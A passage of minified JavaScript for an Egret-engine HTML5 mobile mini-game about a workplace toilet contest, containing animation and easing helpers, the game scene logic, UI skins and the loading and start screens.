1<=a?1:1-Math.cos(Math.PI/2*a)}function xEaseSineOut(a){return 1==a?1:Math.sin(Math.PI/2*a)}function xEaseSineInOut(a){return(-Math.cos(a*Math.PI)+1)/2}function xEaseExponentialIn(a){return Math.pow(2,10*(a/1-1))-0.001}function xEaseExponentialOut(a){return -Math.pow(2,-10*a/1)+1}function xEaseExponentialInOut(a){a*=2;return 1>a?0.5*Math.pow(2,10*(a-1)):0.5*(-Math.pow(2,-10*(a-1))+2)}var __BK_overshoot=1.70158;function xEaseBackIn(a){return a*a*((__BK_overshoot+1)*a-__BK_overshoot)}function xEaseBackOut(a){a-=1;return a*a*((__BK_overshoot+1)*a+__BK_overshoot)+1}function xEaseBackInOut(a){a*=2;if(1>a){return a*a*((__BK_overshoot+1)*a-__BK_overshoot)/2}a-=2;return a*a*((__BK_overshoot+1)*a+__BK_overshoot)/2+1}var __RIN_fromR=-Math.PI/6,__RIN_toR=0.5*Math.PI,__RIN_fromV=Math.cos(__RIN_fromR),__RIN_toV=Math.cos(__RIN_toR);function xEaseReturnIn(a){return uninterpolate(__RIN_fromV,__RIN_toV,Math.cos(interpolate(__RIN_fromR,__RIN_toR,a)))}var __ROT_fromR=0.5*Math.PI,__ROT_toR=-Math.PI/6,__ROT_fromV=Math.cos(__ROT_fromR),__ROT_toV=Math.cos(__ROT_toR);function xEaseReturnOut(a){return uninterpolate(__ROT_fromV,__ROT_toV,Math.cos(interpolate(__ROT_fromR,__ROT_toR,a)))}var __RIT_fromR=-Math.PI/5,__RIT_toR=Math.PI+Math.PI/5,__RIT_fromV=Math.cos(__RIT_fromR),__RIT_toV=Math.cos(__RIT_toR);function xEaseReturnInOut(a){return uninterpolate(__RIT_fromV,__RIT_toV,Math.cos(interpolate(__RIT_fromR,__RIT_toR,a)))}function xRemoveAction(a){XActionManager.removeAction(a)}function xRunActions(b){for(var d=[],a=0;a<arguments.length-1;a++){d[a]=arguments[a+1]}a=!0;1<=d.length&&"boolean"==typeof d[d.length-1]&&(a=d.pop());0!=d.length&&(1==d.length?XActionManager.to(b,d[0],a):XActionManager.to(b,xSequences(d),a))}function xRunAction(b,d,a){"undefined"===typeof a&&(a=!1);XActionManager.to(b,d,a)}function xRunActionForever(b,d,a){"undefined"===typeof a&&(a=!1);XActionManager.to(b,d,a,!0)}function xRunAndReverse(){for(var a=[],b=0;b<arguments.length-0;b++){a[b]=arguments[b+0]}if(0==a.length){return new XAction(0)}if(1==a.length){return new XSequence([a[0],a[0].reverse()])}for(b=a.length-1;0<=b;b--){a.push(a[b].reverse())}return new XSequence(a)}function xSequence(){for(var a=[],b=0;b<arguments.length-0;b++){a[b]=arguments[b+0]}return new XSequence(a)}function xSequences(a){return new XSequence(a)}function xSpawn(){for(var a=[],b=0;b<arguments.length-0;b++){a[b]=arguments[b+0]}return new XSpawn(a)}function xSpawns(a){return new XSpawn(a)}function xDelay(a){return new XAction(a)}function xCallBack(g,h){for(var d=[],a=0;a<arguments.length-2;a++){d[a]=arguments[a+2]}return new XCallFun(g,h,d)}function xUpdate(i,j,h){for(var d=[],g=0;g<arguments.length-3;g++){d[g]=arguments[g+3]}return new XCallUpdate(i,j,h,d)}function xUpdateSpace(k,m,j,g,h){for(var l=[],i=0;i<arguments.length-5;i++){l[i]=arguments[i+5]}return new XCallUpdateSpace(k,m,j,g,h,l)}function xLoop(a,b){return new XLoop(a,b)}function xSet(a){return new XActionsTo(0,a)}function xTo(a,b){return new XActionsTo(a,b)}function xBy(a,b){return new XActionsBy(a,b)}function xPosition(a,b){return new XActionsTo(0,{x:a,y:b})}function xMoveTo(b,d,a){return new XActionsTo(b,{x:d,y:a})}function xMoveBy(b,d,a){return new XActionsBy(b,{x:d,y:a})}function xScale(a,b){return new XActionsTo(0,{scaleX:a,scaleY:b})}function xScaleTo(b,d,a){return new XActionsTo(b,{scaleX:d,scaleY:a})}function xScaleBy(b,d,a){return new XActionsBy(b,{scaleX:d,scaleY:a})}function xAlpha(a){return new XActionsTo(0,{alpha:a})}function xAlphaTo(a,b){return new XActionsTo(a,{alpha:b})}function xAlphaBy(a,b){return new XActionsBy(a,{alpha:b})}function xRotation(a){return new XActionsTo(0,{rotation:a})}function xRotationTo(a,b){return new XActionsTo(a,{rotation:b})}function xRotationBy(a,b){return new XActionsBy(a,{rotation:b})}function xBezierTo(g,h,d,a){"undefined"===typeof a&&(a=!1);return new XBezierTo(g,h,d,a)}function xBezierBy(g,h,d,a){"undefined"===typeof a&&(a=!1);return new XBezierBy(g,h,d,a)}function xVisible(a){return new XVisible(a)}function xRemoved(){return new XRemoved}function xSineIn(a){return new XEased(a,xEaseSineIn)}function xSineOut(a){return new XEased(a,xEaseSineOut)}function xSineInOut(a){return new XEased(a,xEaseSineInOut)}function xExponentialIn(a){return new XEased(a,xEaseExponentialIn)}function xExponentialOut(a){return new XEased(a,xEaseExponentialOut)}function xExponentialInOut(a){return new XEased(a,xEaseExponentialInOut)}function xBackIn(a){return new XEased(a,xEaseBackIn)}function xBackOut(a){return new XEased(a,xEaseBackOut)}function xBackInOut(a){return new XEased(a,xEaseBackInOut)}function xReturnIn(a){return new XEased(a,xEaseReturnIn)}function xReturnOut(a){return new XEased(a,xEaseReturnOut)}function xReturnInOut(a){return new XEased(a,xEaseReturnInOut)}var __extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d},XBitmapText=function(a){function b(e,d){"undefined"===typeof d&&(d="left");a.call(this);this.charDict=e;this.align=d}__extends(b,a);b.prototype.setText=function(g){this.removeChildren();for(var c=0,f=0;f<g.length;f++){if(void 0!=this.charDict[g.charAt(f)]){var h=new egret.Bitmap(this.charDict[g.charAt(f)]);h.anchorY=0;h.x=c;c+=h.width;this.addChild(h)}}g=0;switch(this.align){case b.RIGHT:g=-c;break;case b.CENTER:g=-c/2}if(0!=g){for(f=0;f<this.numChildren;f++){this.getChildAt(f).x+=g}}};b.LEFT="left";b.RIGHT="right";b.CENTER="center";return b}(egret.Sprite);XBitmapText.prototype.__class__="XBitmapText";var __extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d},InGameScene=function(a){function b(j,e,f,i){a.call(this);this.gameWidth=640;this.gameHeight=1008;this.isShowNumBmp=!1;this.peeTime=this.addSpeed=0;this.isBossComplete=!1;this.bossCompleteTime=0;this.isTouch=!1;this.cTime=0;this.isPlaySound=this.isStartPee=!1;var h=this.gameHeight/this.gameWidth;e/j<h&&(h=e/h,this.x=(j-h)/2,j=h);this.config=RES.getRes("gameConfig");this.time=this.gameTime=1000*this.config.bossPeeTime;this.myPeeFillTime=this.config.myPeeTime;this.peeSpeedFillTime=this.config.addSpeedTime;this.overTimeDistance=1000*this.config.startPeeDelay;this.sound_pee=RES.getRes("sound_pee");this.sheet=RES.getRes("g3_ingameSheet");this.scaleX=j/this.gameWidth;this.scaleY=e/this.gameHeight;this.callBack=f;this.callBackTarget=i;this.bar_boss=new XBar(this.sheet,"G3_in_bar_boss");this.bar_boss.x=95;this.bar_boss.y=187;this.addChild(this.bar_boss);this.bar_me=new XBar(this.sheet,"G3_in_bar_me");this.bar_me.x=95;this.bar_me.y=285;this.addChild(this.bar_me);j=new egret.Bitmap(this.sheet.getTexture("G3_in_bianchi"));j.x=113;j.y=384;this.addChild(j);e={};for(j=0;10>j;j++){e[j.toString()]=this.sheet.getTexture("G3_in_num_"+j)}e[":"]=this.sheet.getTexture("G3_in_num_d");this.num_bmp=new XBitmapText(e);this.num_bmp.x=190;this.num_bmp.y=43;this.num_bmp.setText(this.timeString(0));this.num_bmp.visible=!1;this.addChild(this.num_bmp);this.tip_bmp=new egret.Bitmap(this.sheet.getTexture("G3_in_tip"));this.tip_bmp.anchorX=0.5;this.tip_bmp.anchorY=0.5;this.tip_bmp.x=this.gameWidth/2;this.tip_bmp.y=77;this.addChild(this.tip_bmp);xRunActions(this.tip_bmp,xDelay(0.2),xSineOut(xMoveBy(0.2,0,-50)),xSineIn(xMoveBy(0.2,0,50)),xSineOut(xMoveBy(0.1,0,-25)),xSineIn(xMoveBy(0.1,0,25)));this.peeAni=new XPeeAni(this.sheet,-490,-150);this.peeAni.x=this.gameWidth/2;this.peeAni.y=this.gameHeight;this.addChild(this.peeAni);e=[];f=0;i=Math.ceil(this.gameTime/1000);for(j=0;j<i;j++){h=7*Math.sqrt((j+1)/i),h=randomAt(1,h),f=e[j]=f+h}i=this.gameTime/e.length/1000;var h=[],g=0;for(j=0;j<e.length;j++){e[j]/=f,h[j]=xUpdateSpace(i,1-g,1-e[j],this.bar_boss.reset,this.bar_boss),g=e[j]}h.push(xCallBack(this.peeComplete,this));xRunAction(this,xSequences(h));this.touchEnabled=!0;this.cTime=egret.getTimer();this.addEventListener(egret.Event.ENTER_FRAME,this.onEnterFrame,this);this.addEventListener(egret.TouchEvent.TOUCH_BEGIN,this.onTouchHandler,this);this.addEventListener(egret.TouchEvent.TOUCH_END,this.onTouchHandler,this)}__extends(b,a);b.prototype.onTouchHandler=function(d){this.isTouch=d.type==egret.TouchEvent.TOUCH_BEGIN};b.prototype.onEnterFrame=function(e){e=egret.getTimer();var d=(e-this.cTime)/1000;this.time-=e-this.cTime;350>=this.time&&!this.isShowNumBmp&&(this.isShowNumBmp=!0,xRunActions(this.num_bmp,xAlpha(0),xVisible(!0),xAlphaTo(0.35,1)),xRunActions(this.tip_bmp,xAlphaTo(0.35,0),xRemoved(),!0));0>=this.time&&(this.isBossComplete||(this.isBossComplete=!0),this.num_bmp.setText(this.timeString(-this.time)));if(this.isTouch){0==this.addSpeed&&this.startPee(),this.addSpeed<this.peeSpeedFillTime&&(this.addSpeed+=d,this.addSpeed>=this.peeSpeedFillTime&&(this.addSpeed=this.peeSpeedFillTime))}else{if(0<this.addSpeed){if(this.addSpeed-=d,0>=this.addSpeed){this.addSpeed=0;this.gameOver();return}}else{if(this.time<this.gameTime-this.overTimeDistance){this.gameOver();return}}}this.isStartPee&&(this.peeTime+=this.addSpeed/this.peeSpeedFillTime*d,d=this.peeTime/this.myPeeFillTime,1<=d&&(d=1,this.peeTime=this.myPeeFillTime,this.gameOver()),this.bar_me.reset(1-d),this.peeAni.setValue(this.addSpeed/this.peeSpeedFillTime));this.cTime=e};b.prototype.peeComplete=function(){};b.prototype.startPee=function(){this.isPlaySound=!0;this.sound_pee.play(!0);this.isStartPee=!0};b.prototype.gameOver=function(){this.sound_pee.pause();this.peeAni.done(0>=this.addSpeed||1000*this.peeTime>=this.gameTime);this.removeEventListener(egret.Event.ENTER_FRAME,this.onEnterFrame,this);this.removeEventListener(egret.TouchEvent.TOUCH_BEGIN,this.onTouchHandler,this);this.removeEventListener(egret.TouchEvent.TOUCH_END,this.onTouchHandler,this);xRemoveAction(this);var e=!1,d=0;this.isBossComplete?0>=this.addSpeed?d=3:-this.time<1000*this.config.normalTime?(e=!0,d=-this.time<1000*this.config.bestTime?0:1):d=5:d=0>=this.addSpeed?0==this.peeTime?2:3:4;egret.setTimeout(this.callBack,this.callBackTarget,500,e,-this.time,d)};b.prototype.timeString=function(e){var d=("0"+Math.floor(e/1000)).substr(-2,2);e=("0"+Math.floor(e%1000/10)).substr(-2,2);return d+":"+e};return b}(egret.Sprite);InGameScene.prototype.__class__="InGameScene";var XPeeAni=function(a){function b(f,d,e){a.call(this);this.value=0;this.pian_mc=new egret.Sprite;this.pian_shape=new egret.Shape;this.pianW=120;this.pianH=600;this.isPee=this.isStop=this.isStart=!1;this.sheet=f;this.top=d;this.bottom=e;this.pian_shape.graphics.beginFill(14999218,0.5);this.pian_shape.graphics.lineStyle(0,0,0);this.pian_shape.graphics.drawEllipse(0,this.pianH/2,this.pianW/2,this.pianH/2);this.pian_shape.graphics.endFill();this.pian_shape.scaleX=60/this.pianW;this.pian_shape.scaleY=80/this.pianH;this.pian_shape.y=-500;this.pian_mc.addChild(this.pian_shape);this.pian_mc.y=0;this.pian_mc.mask=new egret.Rectangle(-60,-582,120,470);this.pian_mc.visible=!1;this.addChild(this.pian_mc);this.hua_mc=new XPeeHua(this.sheet);this.hua_mc.y=this.bottom;this.hua_mc.visible=!1;this.addChild(this.hua_mc);this.liu_mc=new XPeeliu(f);this.liu_mc.y=10;this.addChild(this.liu_mc)}__extends(b,a);b.prototype.done=function(d){this.isStop||(this.isStop=!0,d&&(xRunActions(this.hua_mc,xAlphaTo(0.35,0),xRemoved()),xRunActions(this.pian_mc,xAlphaTo(0.35,0),xRemoved()),xRunActions(this.liu_mc,xScaleTo(0.35,0.01,1),xRemoved())))};b.prototype.setValue=function(d){this.isStop||(this.value=d=Math.pow(d,0.5),this.hua_mc.y=interpolate(this.bottom,this.top,d),this.pian_shape.y=this.hua_mc.y-40,this.isPee&&(this.liu_mc.y=this.hua_mc.y),!this.isStart&&0<d&&(this.isStart=!0,xRunAction(this,xSineIn(xUpdate(0.35,this.startPee,this)))))};b.prototype.startPee=function(d){this.liu_mc.y=interpolate(10,this.hua_mc.y,d);1<=d&&(this.isPee=!0,this.hua_mc.visible=!0,this.pian_mc.visible=!0,xRunAction(this.pian_shape,xScaleTo(1,1,1)))};b.prototype.stop=function(){this.isStop=!0};return b}(egret.Sprite);XPeeAni.prototype.__class__="XPeeAni";var XPeeliu=function(a){function b(e){a.call(this);this.sheet=e;var d=new egret.Bitmap(e.getTexture("G3_in_pee_31"));d.anchorX=0.5;d.anchorY=0.0346;this.addChild(d);this.hua_bmp=new egret.Bitmap(e.getTexture("G3_in_pee_32"));this.hua_bmp.anchorX=0.5;this.hua_bmp.anchorY=0.0346;this.addChild(this.hua_bmp);this.dian_bmp=new egret.Bitmap(e.getTexture("G3_in_pee_33"));this.dian_bmp.anchorX=0.5;this.dian_bmp.anchorY=0.5;this.dian_bmp.y=this.dian_y=this.dian_bmp.height/2-0.0346*this.dian_bmp.height;this.addChild(this.dian_bmp);this.addEventListener(egret.Event.ENTER_FRAME,this.onEnterFrame,this)}__extends(b,a);b.prototype.onEnterFrame=function(d){this.hua_bmp.x=randomAt(-2,2);this.hua_bmp.y=randomAt(0,5);this.hua_bmp.scaleX=0.5<Math.random()?-1:1;this.dian_bmp.x=randomAt(-2,2);this.dian_bmp.y=this.dian_y+randomAt(0,5);this.dian_bmp.scaleX=0.5<Math.random()?-1:1;this.dian_bmp.scaleY=0.5<Math.random()?-1:1};return b}(egret.Sprite);XPeeliu.prototype.__class__="XPeeliu";var XPeeHua=function(a){function b(d){a.call(this);this.sheet=d;xRunActionForever(this,xSequence(xDelay(0.1),xCallBack(this.creatHuaA,this)));xRunActionForever(this,xSequence(xDelay(0.03),xCallBack(this.creatHuaB,this)))}__extends(b,a);b.prototype.creatHuaA=function(){var d=new egret.Bitmap(this.sheet.getTexture("G3_in_pee_2"+(randomInt(3)+1)));d.anchorX=0.5;d.anchorY=0.5;d.scaleX=d.scaleY=0.4;d.rotation=randomAt(-180,180);this.addChild(d);xRunActions(d,xScaleTo(0.3,1.3,1.3),xRemoved())};b.prototype.creatHuaB=function(){for(var e=0;2>e;e++){var d=new egret.Bitmap(this.sheet.getTexture("G3_in_pee_1"));d.anchorX=-0.1;d.anchorY=1.1;d.scaleX=d.scaleY=randomAt(0.5,1);d.rotation=randomAt(-180,180);this.addChild(d);xRunActions(d,xScaleBy(0.1,1.2,1.2),xRemoved())}};return b}(egret.Sprite);XPeeHua.prototype.__class__="XPeeHua";var XBar=function(a){function b(m,e){a.call(this);this.thisWidth=450;this.thisHeight=43;this.thickness=10;this.shp=new egret.Shape;this.pao_mc1=new egret.Sprite;this.pao_mc2=new egret.Sprite;this.mask_mc=new egret.Sprite;this.isToAlpha=!1;this.graphics.beginFill(2639372,1);this.graphics.drawRoundRect(0,0,this.thisWidth,this.thisHeight,this.thisHeight,this.thisHeight);this.graphics.endFill();this.addChild(this.mask_mc);this.mask_mc.x=this.thickness/2;this.mask_mc.y=this.thickness/2;this.mask_mc.mask=new egret.Rectangle(0,0,this.thisWidth,this.thisHeight);for(var f=[this.pao_mc1,this.pao_mc2],l=1;3>l;l++){for(var j=f[l-1],g=m.getTexture("G3_in_bar_pao"+l),k=0;4>k;k++){var i=new egret.Bitmap(g);i.x=k%2*i.width;i.y=Math.floor(k/2)*(i.height-1);j.addChild(i)}this.mask_mc.addChildAt(j,0);xRunActionForever(j,xSequence(xPosition(0,0),xMoveBy(2*l,0,-i.height+1)))}this.bar_r=new egret.Bitmap(m.getTexture("G3_in_bar_R"));this.bar_r.anchorX=1;this.bar_r.anchorY=0;this.bar_r.scaleY=(this.bar_r.height+2)/this.bar_r.height;this.bar_r.y=-1;this.mask_mc.addChild(this.bar_r);this.shp.graphics.lineStyle(this.thickness,16777215,1);this.shp.graphics.drawRoundRect(0,0,this.thisWidth,this.thisHeight,this.thisHeight,this.thisHeight);this.shp.graphics.endFill();this.addChild(this.shp);this.iconBmp=new egret.Bitmap(m.getTexture(e));this.iconBmp.anchorX=0.5;this.iconBmp.anchorY=1-this.iconBmp.width/2/this.iconBmp.height;this.iconBmp.x=this.thisWidth/2;this.iconBmp.y=this.thisHeight/2;this.addChild(this.iconBmp);this.reset(1)}__extends(b,a);b.prototype.reset=function(d){this.bar_r.x=interpolate(1,this.thisWidth-this.thickness,d)+1;this.mask_mc.mask=new egret.Rectangle(0,-this.thickness/2,this.bar_r.x-1,this.thisHeight);if(!this.isToAlpha){0.41<=d&&0.6>d&&(this.isToAlpha=!0,xRunAction(this.iconBmp,xAlphaTo(0.3,0.5),!0))}else{if(0.41>d||0.6<=d){this.isToAlpha=!1,xRunAction(this.iconBmp,xAlphaTo(0.3,1),!0)}}};return b}(egret.Sprite);XBar.prototype.__class__="XBar";var __extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d},LoadingUI=function(a){function b(){a.call(this);this.createView()}__extends(b,a);b.prototype.createView=function(){this.textField=new egret.TextField;this.addChild(this.textField);this.textField.y=300;this.textField.width=480;this.textField.height=100;this.textField.textAlign="center"};b.prototype.setProgress=function(e,d){this.textField.text="\u6e38\u620f\u52a0\u8f7d\u4e2d..."+e+"/"+d};return b}(egret.Sprite);LoadingUI.prototype.__class__="LoadingUI";var AssetAdapter=function(){function a(){}a.prototype.getAsset=function(j,h,f,g){function i(b){h.call(f,b,j)}g=j;j.prototype&&(g=new j);g instanceof egret.DisplayObject||g instanceof egret.Texture?h.call(f,g,j):"string"==typeof j?RES.hasRes(j)?RES.getResAsync(j,i,this):RES.getResByUrl(j,i,this):h.call(f,g,j)};return a}();AssetAdapter.prototype.__class__="AssetAdapter";var SkinAdapter=function(){function a(){}a.prototype.getSkin=function(g,f){if(g){if(g.prototype){return new g}if("string"==typeof g){var d=egret.getDefinitionByName(g);return d?new d:null}return g}return this.getDefaultSkin(f)};a.prototype.getDefaultSkin=function(b){};return a}();SkinAdapter.prototype.__class__="SkinAdapter";var __extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d},TSButtonSkin=function(a){function b(){a.call(this);this.states=["up","down","disabled"]}__extends(b,a);b.prototype.createChildren=function(){a.prototype.createChildren.call(this);this.uiAsset=new egret.gui.UIAsset;this.uiAsset.percentHeight=this.uiAsset.percentWidth=100;this.addElement(this.uiAsset)};return b}(egret.gui.Skin);TSButtonSkin.prototype.__class__="TSButtonSkin";var StartButtonSkin=function(a){function b(){a.apply(this,arguments)}__extends(b,a);b.prototype.commitCurrentState=function(){a.prototype.commitCurrentState.call(this);switch(this.currentState){case"up":this.uiAsset.source="gameFrameSheet.btnStartNormal";break;case"down":this.uiAsset.source="gameFrameSheet.btnStartTouched";break;case"disabled":this.uiAsset.source="gameFrameSheet.btnStartNormal"}};return b}(TSButtonSkin);StartButtonSkin.prototype.__class__="StartButtonSkin";var ShareButtonSkin=function(a){function b(){a.apply(this,arguments)}__extends(b,a);b.prototype.commitCurrentState=function(){a.prototype.commitCurrentState.call(this);switch(this.currentState){case"up":this.uiAsset.source="gameFrameSheet.btnWhiteShareNormal";break;case"down":this.uiAsset.source="gameFrameSheet.btnWhiteShareTouched";break;case"disabled":this.uiAsset.source="gameFrameSheet.btnWhiteShareNormal"}};return b}(TSButtonSkin);ShareButtonSkin.prototype.__class__="ShareButtonSkin";var ReplayButtonSkin=function(a){function b(){a.apply(this,arguments)}__extends(b,a);b.prototype.commitCurrentState=function(){a.prototype.commitCurrentState.call(this);switch(this.currentState){case"up":this.uiAsset.source="gameFrameSheet.btnWhiteReplayNormal";break;case"down":this.uiAsset.source="gameFrameSheet.btnWhiteReplayTouched";break;case"disabled":this.uiAsset.source="gameFrameSheet.btnWhiteReplayNormal"}};return b}(TSButtonSkin);ReplayButtonSkin.prototype.__class__="ReplayButtonSkin";var __extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d},XSimpleMovieClip=function(a){function b(e,d){"undefined"===typeof d&&(d=1);a.call(this);this.totalFrames=0;this.loop=this.currentFrame=-1;this._time=this.toIndex=this.fromIndex=0;this.speed=1;if(__XMCAniData__.versions!=e.versions){throw"\u52a8\u753b\u6570\u636e\u7248\u672c\u4e0d\u6b63\u786e\uff0c\u9700\u8981"+__XMCAniData__.versions+"\u7248\u672c\u6570\u636e"}d=Math.max(0.0001,d);this.data=new __XMCAniData__(e,d);this.sheet=RES.getRes(e.sheet);this.totalFrames=this.data.totalFrames;this.setFrame(0)}__extends(b,a);b.prototype.getLabelIndex=function(d){return this.data.getLabelFrameIndex(d)};b.prototype.onEnterFrame=function(d){d=egret.getTimer()-this._time;d>=this.data.frameTime&&(this._time+=this.data.frameTime*Math.floor(d/this.data.frameTime),this.next())};b.prototype.next=function(){var d=this.currentFrame;if(d>this.toIndex){if(-1!=this.loop&&(this.loop--,0>=this.loop)){this.removeEventListener(egret.Event.ENTER_FRAME,this.onEnterFrame,this);if(null!=this.callBack&&void 0!=this.callBack){d=this.callBackParams;if(null==d||void 0==d){d=[]}this.callBack.apply(this.callBackTarget,d)}return}d=this.fromIndex+(d-this.toIndex-1)}this.setFrame(d)};b.prototype.setFrame=function(d){this.currentFrame!=d+1&&(this.currentFrame=d+1,this.removeChildren(),this.data.creatBmps(d,this))};b.prototype.play=function(){this.setPlay(this.currentFrame,-1,-1,-1,null,null,null)};b.prototype.stop=function(){this.removeEventListener(egret.Event.ENTER_FRAME,this.onEnterFrame,this)};b.prototype.playClips=function(n,f,g,m,l,i){"undefined"===typeof g&&(g=-1);"undefined"===typeof m&&(m=-1);"undefined"===typeof l&&(l=null);"undefined"===typeof i&&(i=null);for(var k=[],j=0;j<arguments.length-6;j++){k[j]=arguments[j+6]}this.setPlay(n,f,g,m,l,i,k)};b.prototype.gotoAndPlay=function(d){this.setPlay(d,-1,-1,-1,null,null,null)};b.prototype.gotoAndStop=function(d){this.setPlay(d,d,d,1,null,null,null)};b.prototype.setPlay=function(l,f,g,k,j,h,i){1>=g&&(g=this.totalFrames);f=Math.max(f,1);g=Math.max(f,g,l);l=Math.max(l,f);l=Math.min(l,g);this.fromIndex=f-1;this.toIndex=g-1;this.loop=k;this._time=egret.getTimer();this.callBack=j;this.callBackTarget=h;this.callBackParams=i;this.setFrame(l-1);this.removeEventListener(egret.Event.ENTER_FRAME,this.onEnterFrame,this);this.addEventListener(egret.Event.ENTER_FRAME,this.onEnterFrame,this)};b.LOOP_FOREVER=-1;return b}(egret.Sprite);XSimpleMovieClip.prototype.__class__="XSimpleMovieClip";var __XMCAniData__=function(){function a(g,f){this.frameLabels={};this.anchorData={};this.layers=[];this.sheet=RES.getRes(g.sheet);this.frameRate=g.frameRate*f;this.frameTime=1000/this.frameRate;this.totalFrames=g.totalFrames;for(var d in g.frameLabels){this.frameLabels[d]=g.frameLabels[d]}for(d in g.anchorData){this.anchorData[d]=new egret.Point(g.anchorData[d].x,g.anchorData[d].y)}for(d=0;d<g.layers.length;d++){this.layers[d]=new __XMCLayerData__(g.layers[d],this.sheet,this.anchorData)}}a.prototype.creatBmps=function(h,g){for(var d=0;d<this.layers.length;d++){if(this.layers[d].frames.length>h){for(var f=0;f<this.layers[d].frames[h].elements.length;f++){g.addChild(this.layers[d].frames[h].elements[f].getBmp())}}}};a.prototype.getLabelFrameIndex=function(b){return void 0!=this.frameLabels[b]?this.frameLabels[b]+1:1};a.versions="0.1";return a}();__XMCAniData__.prototype.__class__="__XMCAniData__";var __XMCLayerData__=function(){return function(k,m,j){this.frames=[];this.name=k.name;this.totalFrames=k.totalFrames;for(var g=[],h=0;h<k.frames.length;h++){var l=new __XMCFrameData__(k.frames[h],m,j);g[h]=h<k.frames.length-1?[l,k.frames[h+1].frame]:[l,this.totalFrames];for(var i=g[h][0].frame;i<g[h][1];i++){this.frames[i]=l}}}}();__XMCLayerData__.prototype.__class__="__XMCLayerData__";var __XMCFrameData__=function(){return function(g,h,d){this.elements=[];this.frame=g.frame;for(var a=0;a<g.elements.length;a++){this.elements[a]=new __XMCElementData__(g.elements[a],h,d)}}}();__XMCFrameData__.prototype.__class__="__XMCFrameData__";var __XMCElementData__=function(){function a(g,f,d){this.img=g.img;this.anchorX=d[this.img].x;this.anchorY=d[this.img].y;this.texture=f.getTexture(this.img);this.alpha=g.alpha;this.x=g.x;this.y=g.y;this.scaleX=g.sx;this.scaleY=g.sy;this.skewX=g.skx;this.skewY=g.sky}a.prototype.getBmp=function(){var b=new egret.Bitmap(this.texture);b.alpha=this.alpha;b.anchorX=this.anchorX;b.anchorY=this.anchorY;b.x=this.x;b.y=this.y;b.scaleX=this.scaleX;b.scaleY=this.scaleY;b.skewX=this.skewX;b.skewY=this.skewY;return b};return a}();__XMCElementData__.prototype.__class__="__XMCElementData__";var __extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d},GameApp=function(a){function b(){a.call(this);this.GAME_URL=GAME_URL;this.GAME_ICON=document.getElementById("icon").src;this.GAME_DOWNLOAD_URL=GAME_DOWNLOAD_URL;this.docTitle="\u5410\u53f8\u7cfb\u5217\u804c\u573a\u5c0f\u6e38\u620f\u3010\u62cd\u9a6cpee\u3011";this.shareTimelineWords="\u3010\u62cd\u9a6cpee\u3011\u5395\u6240\u91cc\u7684\u804c\u573a\u54f2\u5b66\uff1a\u5c3f\u7684\u4e0d\u597d\u4f1a\u5f71\u54cd\u5347\u804c\u52a0\u85aa\uff01";this.shareFriendWords="\u5395\u6240\u91cc\u7684\u804c\u573a\u54f2\u5b66\uff1a\u5c3f\u7684\u4e0d\u597d\u4f1a\u5f71\u54cd\u5347\u804c\u52a0\u85aa\uff01";this.addEventListener(egret.Event.ADDED_TO_STAGE,this.onAddToStage,this)}__extends(b,a);b.prototype.onAddToStage=function(d){egret.Injector.mapClass("egret.gui.IAssetAdapter",AssetAdapter);egret.Injector.mapClass("egret.gui.ISkinAdapter",SkinAdapter);this.loadingView=new LoadingUI;this.stage.addChild(this.loadingView);RES.addEventListener(RES.ResourceEvent.CONFIG_COMPLETE,this.onConfigComplete,this);RES.loadConfig("resource/pee/resource.json","resource/pee/");this.scale=this.stage.stageHeight/1008;this.finalScore=0};b.prototype.share=function(){};b.prototype.onConfigComplete=function(d){RES.removeEventListener(RES.ResourceEvent.CONFIG_COMPLETE,this.onConfigComplete,this);RES.addEventListener(RES.ResourceEvent.GROUP_COMPLETE,this.onResourceLoadComplete,this);RES.addEventListener(RES.ResourceEvent.GROUP_PROGRESS,this.onResourceProgress,this);RES.loadGroup("preload")};b.prototype.onResourceLoadComplete=function(d){"preload"==d.groupName&&(this.stage.removeChild(this.loadingView),RES.removeEventListener(RES.ResourceEvent.GROUP_COMPLETE,this.onResourceLoadComplete,this),RES.removeEventListener(RES.ResourceEvent.GROUP_PROGRESS,this.onResourceProgress,this),this.createGameScene())};b.prototype.onResourceProgress=function(d){"preload"==d.groupName&&this.loadingView.setProgress(d.itemsLoaded,d.itemsTotal)};b.prototype.createGameScene=function(){var f=1.4>this.stage.stageHeight/this.stage.stageWidth?-200:0;this.gameUIStage=new egret.gui.UIStage;this.addChild(this.gameUIStage);this.bgContentGroup=new egret.gui.Group;this.bgContentGroup.percentWidth=100;this.bgContentGroup.top=0;this.bgContentGroup.bottom=0;this.gameUIStage.addElement(this.bgContentGroup);var d=new egret.gui.UIAsset;d.source=RES.getRes("mainBG");this.bgContentGroup.addElement(d);this.startContentGroup=new egret.gui.Group;this.startContentGroup.percentWidth=100;this.startContentGroup.top=0;this.startContentGroup.bottom=0;this.gameUIStage.addElement(this.startContentGroup);d=new egret.gui.UIAsset;d.source="gameFrameSheet.words";d.scaleX=d.scaleY=this.scale;d.horizontalCenter=0;d.bottom=185+(0!=f?-60:0);this.startContentGroup.addElement(d);d=new egret.gui.UIAsset;d.source="gameFrameSheet.GameTitle";d.scaleX=d.scaleY=this.scale;d.horizontalCenter=0;d.top=50;this.startContentGroup.addElement(d);d=new egret.gui.UIAsset;this.startContentGroup.addElement(d);var e=new XSimpleMovieClip(RES.getRes("aniTitleData"));e.scaleX=e.scaleY=this.scale;e.playClips(0,0,e.totalFrames,1,this.mainAniComplete,this,e);d.source=e;d.horizontalCenter=170*this.scale;d.verticalCenter=130*this.scale+(0!=f?30:0);this.startButton=new 